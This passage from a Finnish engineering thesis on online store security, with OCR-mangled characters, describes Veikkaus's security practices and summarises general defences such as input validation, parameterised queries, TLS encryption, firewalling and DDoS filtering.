turvaloukkauksista nhopeammin seka myos tiedottaa jarjestelmaan kuuluville yrityksille
riskeistd, jotta he osaavat varautua uusia riskeja vastaan. Viestintavirasto hoitaa jarjes-
telman yllapidon. HAVARO on vapaaehtoinen jarjestelma. Pelkkd huoltovarmuuskriitti-
syys ei riitd. Yrityksella taytyy olla myds riittdva tietoturvatoiminnan taso, silla HAVARO

itsessaan ei riitd viela suojaamaan hyokkayksilta. [22.]
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4 Veikkaus esimerkkina verkkokaupan tietoturvasta

Monen yrityksen tietoturvan lahtokohtana on olla vaikeammin murrettava kuin muut yri-
tykset, silla jos joku todella haluaa saada sivustolle haittaa tai murtautua sisaan ja loytyy
myds resursseja, han pystyy kylla harmia aiheuttamaan. Kun on hoitanut tietoturvan pa-
remmin kuin joku toinen yritys satunnaiset hyokkaéajat ja huvikseen hyokkayksia tekevat
todennakdisesti siirtyvat toisen yrityksen harmiksi. Pyrité&dn myds varautumaan pahim-
paan. Nain ollen voidaan sanoa, ettd on suojauduttu ja tehty kaikki, mutta toisella oli
vaan paremmat keinot kaytossa.

Veikkauksessa on siirrytty perinteisista isoista, tiettynd ajankohtana tehdyista julkai-
suista, ketterddn kehitykseen hyvin tuloksin. Eri auditointeja tapahtuu ympari vuoden
useampia. Ne liittyvat muun muassa sovellustietoturvaan, joka on talla hetkella suurin
riskin aihe. Sovelluksien kautta tehtyja iskuja tehdddn enemman kuin infrankautta tehtyja
iskuja. Auditointeja tekee paéosin ulkopuoliset tahot. SIEM (Security Information & Event
Managemet) -hankkeen my6ta reaaliaikainen tilannekuva on parantunut. Myos IDS (tun-

keutumisen havaitsemisjarjestelmda) on otettu kayttdon.

Tuotantoprosessia on automatisoitu l&hivuosina testauksen helpottamiseksi ja hopeut-
tamiseksi. Virtualisoinnin avulla pystytdan testaamaan useampaa muokkausta kerral-
laan erilaisilla asetuksilla. Testiymparistdissa ei ole selkokielisté tai aitoa asiakasdataa
kaytdssa ollenkaan, ja naita tietoja vaativiin testeihin on rakennettu turvallinen testiym-
paristd. Tavallisissa testiymparistdissd se on sekoitettu tai maskattu. Toimistoymparis-
tosta ei mydskaan ole suoraa yhteytta pelijarjestelmiin. Web-palveluilla on myds oma
sovelluspalomuuri, jonka avulla saadaan aikaa haavoittuvuuksien korjauksien testaami-

seen.

Operaattorilta on myo6s kaytdssa palvelu, joka auttaa palvelunestohytkkayksien estami-
sissa. Saattja on kumminkin tehty, mutta niitd ei pystyta testaamaan ennen seuraavaa
tosi tilannetta. Palvelun osana on pienempi pesuri lahempéana Veikkauksen palvelimia,
joka hoitavat palvelunestohytkkékselta suojaamisen, kunnes ei enda pysty, ja siirtda
Siitd suojaamisen operaattorin runkoverkossa olevaan pesuriin, josta I0ytyy enemman
tehoja. Palvelun tarkoituksena on havaita palvelunestohyokkaykset, ennen kuin ne ovat
kunnolla paasseet vauhtiin ja suodattaa haitallinen liikenne pois jo ennen Veikkauksen

palvelimia. [23.]
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5 Yhteenveto

Monet perusverkkosivujen uhkista koskevat my6s verkkokauppoja. Tosin uskoakseni
verkkokaupat ovat todennakdisempié kohteita kuin perussivut. Useimmiten verkkokau-
pat kuitenkin sisaltavat jotain luottamuksellista dataa sen asiakkaista, kuten osoitteita.
Taméan vuoksi onkin tarkeda, etté verkkokaupan yllapitajat pitavat huolta tietoturvasta.
Verkkokaupalle tulee kalliiksi, jos sen asiakastiedot joutuvat vaariin kasiin.

Verkkosovellusten turvallisuuden tarkistaminen olisi hyva tehda seka automaattisesti
ettd manuaalisesti. Nain saadaan mahdollisimman paljon tarkistettua luotettavasti. Mo-
nien hyokkayksien suojaamisissa on paallekkaisyyksia, esimerkiksi syttteen tarkistus,
mika osaltaan parantaa suojauksien toteuttamista. Lopussa on vield kertaus asioista,

joita on mainittu tassa insin6oritydssa.

Vaikka palvelunestohyokkayksia ei suuressa mittakaavassa Suomessa tapahdu kovin
usein, on niiltd hyva pyrkid suojautumaan. Jos myynti tapahtuu p&dasiassa suomalai-
sille, on mahdollista suodattaa ulkomailta tuleva liikenne pois. Operaattorin kanssa voi
tehd& sopimuksen, jolla suodattaminen voidaan aloittaa jo heidan paassaan, likennetta
ei tarvitse paastad omille palvelimille asti, vaikkakin on hyvéa olla viela varokeinoja omil-

lakin palvelimilla.

Syétteiden tarkistaminen on erindisissa kentissa myos varsin tarkead, vaikkakaan tama
ei esta kaikkea. Silld saadaan kuitenkin jo suodatettua todennadkoisesti satunnaiset ko-

keilijat pois yrittamasta ja kumminkin vaikeutettua hyokkaajan yrityksia.

Liikenne asiakkaan ja verkkokaupan valilla on myds hyva salata kayttaen SSL- tai TSL-
tekniikkaa, jotta asiakkaan tietoja ei voida tuosta noin vain napata, jos han kayttaa jul-

kista verkkoa ilman omia suojakeinoja, mika on vallan todennakoista.

Sosiaalisen manipuloinnin taktiikat on hyva tiedostaa, varsinkin henkil6illa, joilla on tun-
nukset hallinnoida verkkokauppaa. Nykyaan pitéisi olla jo yleista tietoa, ettei yllapito tai
muu taho kysele tunnuksia auttaakseen ongelmissa. Kumminkin vahinkoja sattuu, var-

sinkin kiireessa viela helpommin.

Injektioilta voidaan véalttyd parametrisoimalla koodi ja tarkistamalla mahdolliset kohteet

aika ajoin, muutoksien yhteydessa varsinkin. Kaikki liikenne tulisi my6s oletuksena estaa
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ja sallia vain tarvittava liikenne ja avata portit, joita todella tarvitaan. Nain vahennetaan
heikkoja kohtia roimasti. Verkkoa on myds helpompi hallita ja hyokkayksen sattuessa

rajata, mista se on tulossa.

Insin6oritydn tarkoituksena oli ottaa itselleni selvaa tietoturvauhkista ja luoda hyva pe-
rusteoriapohja ndilta suojautumiseen. Tassa onnistuin hyvin ja nyt tiedan asioista paljon
enemman kuin aikaisemmin ja osaan varautua uhkiin. Osaan myos tarvittaessa jakaa
tietoa eteenpdin sita tarvitseville.
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